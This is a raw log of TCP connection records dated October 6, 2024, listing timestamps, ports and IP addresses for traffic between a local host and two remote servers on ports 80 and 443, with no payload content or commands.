Oct 6, 2024 22:33:17.967798948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967811108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967835903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967849016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967870951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967883110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967905045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967916965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967938900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967952967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967972040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967986107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968004942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968019962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968039036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968054056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968075991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968085051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968110085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968122959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968143940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968157053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968178034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968190908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968210936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968225956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968246937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968255043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968281031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968293905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968314886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968327999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968348026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968363047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968384027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968396902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968416929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968430996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968452930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968463898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968487024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968501091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968521118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968535900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968554020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968569040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968588114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968601942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968621969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968635082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968657017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968668938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968693972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.968704939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.968740940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.974919081 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.975379944 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.975403070 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.976002932 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.976006985 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.984230042 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.984519005 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.984539032 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.984994888 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.985001087 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.043756008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.043802977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.043864012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.043880939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.043880939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.043900967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.043917894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.043936968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.043941021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.043991089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.043998003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044032097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044043064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044065952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044083118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044099092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044111013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044142008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044152021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044184923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044193983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044225931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044238091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044270992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044281960 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044303894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044316053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044337034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044352055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044380903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044393063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044429064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044447899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044457912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044472933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044496059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044503927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044531107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044538021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044564009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044574976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044598103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044605970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044631958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044641972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044667006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044673920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044696093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044711113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044729948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044742107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044773102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044773102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044807911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044817924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044842958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044852018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044877052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044887066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044910908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044919014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044944048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044956923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.044977903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.044997931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045017004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045020103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045054913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045063019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045087099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045099974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045120955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045128107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045156002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045166016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045190096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045197964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045222998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045233965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045258045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045264959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045291901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045300961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045382023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045389891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045417070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045424938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045454979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.045459032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.045497894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.051697969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.051753044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.051757097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.051794052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.051799059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.051846027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.051847935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.051883936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.051896095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.051918983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.051928043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.051959991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052009106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052042961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052052975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052076101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052083015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052109003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052119017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052144051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052146912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052186966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052196026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052229881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052239895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052273035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052282095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052314043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052325010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052344084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052357912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052386999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052397013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052431107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052440882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052465916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052476883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052500010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052508116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052532911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052545071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052570105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052573919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052604914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052615881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052643061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052649021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052676916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052687883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052719116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052758932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052793026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052803040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052828074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052836895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052862883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.052871943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.052902937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.076205015 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.076252937 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.076293945 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.077219963 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.077230930 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.085663080 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.085737944 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.085804939 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.092713118 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.092730045 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.092747927 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.092760086 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.112000942 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.112040043 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.112102032 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.118005991 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.118016005 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.118072033 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.121941090 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.121958017 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.123308897 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.123322010 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.429538965 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.432687998 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.433423996 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.433456898 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.433963060 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.433990955 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.434350014 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.434359074 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.434528112 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.434534073 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.468600035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.468600035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:18.473504066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.473541021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:18.532447100 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.532612085 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.532707930 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.533157110 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.533168077 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.533202887 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.533210039 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.536542892 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.536564112 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.536648989 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.536808014 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.536812067 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.561175108 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.562010050 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.562027931 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.562643051 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.562648058 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.581571102 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.581631899 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.581680059 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.581819057 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.581832886 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.581865072 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.581872940 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.584897995 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.584944963 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.585028887 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.585150957 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.585169077 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.660057068 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.660196066 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.660257101 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.660372019 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.660403967 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.660432100 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.660449982 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.662493944 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.662523985 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.662585974 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.662688971 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.662695885 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.751859903 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.752353907 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.752374887 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.752985001 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.752990007 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.781622887 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.782027006 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.782037973 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.782608032 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.782613993 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.849951029 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.850052118 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.850229025 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.850311995 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.850330114 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.850366116 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.850373030 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.853773117 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.853797913 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.853943110 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.854089022 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.854095936 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.884536982 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.884608984 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.884658098 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.884763002 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.884774923 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.884819031 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.884824991 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.887516975 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.887562037 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:18.887629032 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.887770891 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:18.887777090 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.188290119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:19.188389063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:19.204421043 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.207956076 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.208034992 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.208616018 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.208630085 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.231292963 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.236306906 CEST	49808	443	192.168.2.4	13.107.246.45
